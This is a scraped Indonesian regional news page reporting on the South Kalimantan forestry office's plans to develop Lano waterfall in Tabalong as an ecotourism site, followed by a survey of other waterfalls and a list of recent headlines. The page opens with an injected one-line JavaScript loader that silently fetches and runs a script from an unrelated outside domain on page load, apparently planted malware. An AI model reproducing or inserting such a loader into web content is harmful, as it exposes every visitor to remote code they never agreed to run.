(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Dinas Kehutanan Jalin Kemitraan Kembangkan Pesona Air Terjun Lano


BANJARBARU, Kalsel memiliki banyak lokasi wisata alam yang mengagumkan. Namun sayang, banyak destinasi yang belum digarap maksimal untuk lebih menarik wisatawan dan mendatangkan keuntungan bagi pemerintah daerah. Salah satunya adalah obyek wisata Air terjun Lano, yang berlokasi di kawasan hutan lindung Lano, Kecamatan Jaro, Tabalong.

Dari pusat kota Tanjung, Tabalong, lokasi air terjun yang masih asri tersebut berada sekitar 2 Km dari Jalan Penghubung Kaltim-Kalsel dan berjarak tempuh sekitar 70 Km dari Tanjung. Di depan lokasi, sudah ada gerbang masuk Wisata Air Terjun Lano. Nah, untuk menuju ke tempat tersebut kita harus berjalan kaki dan menyusuri jalan setapak dan melewati Sungai Riam Kecil.

Topografi dari lokasi ini adalah tanah berbukit dan bergunung-gunung dengan pemandangan sekitar berupa keindahan hutan perawan yang menarik. Ketinggian Air terjun Lano ini mencapai kurang lebih 17 Meter. Objek wisata Air Terjun Lano termasuk di dalam wilayah areal kerja RPH JARO KPH Tabalong.

Beberapa waktu lalu, tim dari Dinas Kehutanan melaksakan identifikasi potensi Kemitraan Air Terjun Lano di Desa Lano. Dinas Kehutanan melalui Ka KPH Tabalong, Heriyadi,  kembali menjajaki dan melaksakan diskusi terkait Pengembangan Ekowisata air Terjun Lano dengan Ketua Pengelola Air Terjun,  Jamin di bangunan pendopo yang dibangun dari bantuan Gubernur Kalsel Sahbirin Noor.

“Keindahan Air Terjun Lano bisa menjadi alternatif destinasi wisata alam yang layak dikunjungi. Selain keasrihan dan pemandangan alam sekitar yang indah, juga bisa digunakan untuk wisata petualangan,” ungkap Heriyadi.

Dia yakin, dengan sinergi antara pengelola Air Terjun Lano dengan Dinas Kehutanan, lokasi tersebut akan berkembang menjadi obyek wisata menjanjikan. Apalagi dengan komitmen mansyarakat sekitar untuk terus menjaga ekosistem lingkungan di kawasan tersebut.

“Tentu saja, dengan tumbuhnya sektor pariwisata alam akan mampu meningkatkan Pendapatan Asli Daerah (PAD) sekaligus mensejahterakan perekonomian masyarakat sekitar objek wisata,” jelas Heriyadi.

Keberadaan Air Terjun Lano di Tabalong, merupakan satu diantara banyak obyek wisata serupa di Kalsel yang menyajikan keindahannya masing-masing. Di Kandangan, HSU misalnya, ada Air Terjun Haratai dan Air Terjun Riam Hanai.

 

Di Tabalong, selain Air Terjun Lano, juga ada Air Terjun Riam Mambanin yang terletak di desa Marindi Kecamatan Haruai Kabupaten Tabalong. Namun di tempat ini airnya tak setinggi di Lano yang mencapai 17 meter. Pun kondisi Air Terjun Riam Mambanin belum terawat maksimal.

Di Kabupaten Tanah Laut, ada air terjun Balangdaras  yang terletak 25 km dari Kota Pelaihari. Air terjun Balangdaras memiliki panorama pegunungan yang indah dan eksotik. Berada di ketinggian pegunungan dengan ketinggian ± 45 meter. Air Terjun Balangdaras yang berada di kawasan Pegunungan Meratus.

Lalu, ada pula Air Terjun Tumpang Dua di Kotabaru yang terletak di desa Sebelimbingan Kecamatan Pulau Laut Utara. Disebut Tumpang Dua dikarenakan memiliki 2 aliran. Selain air terjun, disediakan juga bagi pengunjung kolam renang dimana sumber airnya berasal dari air terjun tersebut. Jika ingin melepas kepenatan, pengunjung dapat duduk dibawah rimbunan pohon sambil menikmati hawa pegunungan.

Dan di Barabai, Hulu Sungai Tengah (HST), ada juga Air Terjun Tumaung. Air terjun ini cocok bagi yang berjiwa petualang alam. Lokasinya berada diperbatasan antara kecamatan Hantakan dan Batang Alai Timur. Letaknya memang agak jauh dari ibukota kabupaten HST. Ketinggian air terjun ini mencapai 20 meter dan dibawahnya membentuk sebuah genangan sebelum mengalir ke sungai. Hawanya dingin dan sejuk.

Nah, betapa kayanya Kalsel akan potensi wisata alam! Jadi, ayo tentukan pilihan dan segera rangkul keindahan bermacam air terjun tersebut… (cel)

Reporter : Cel
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.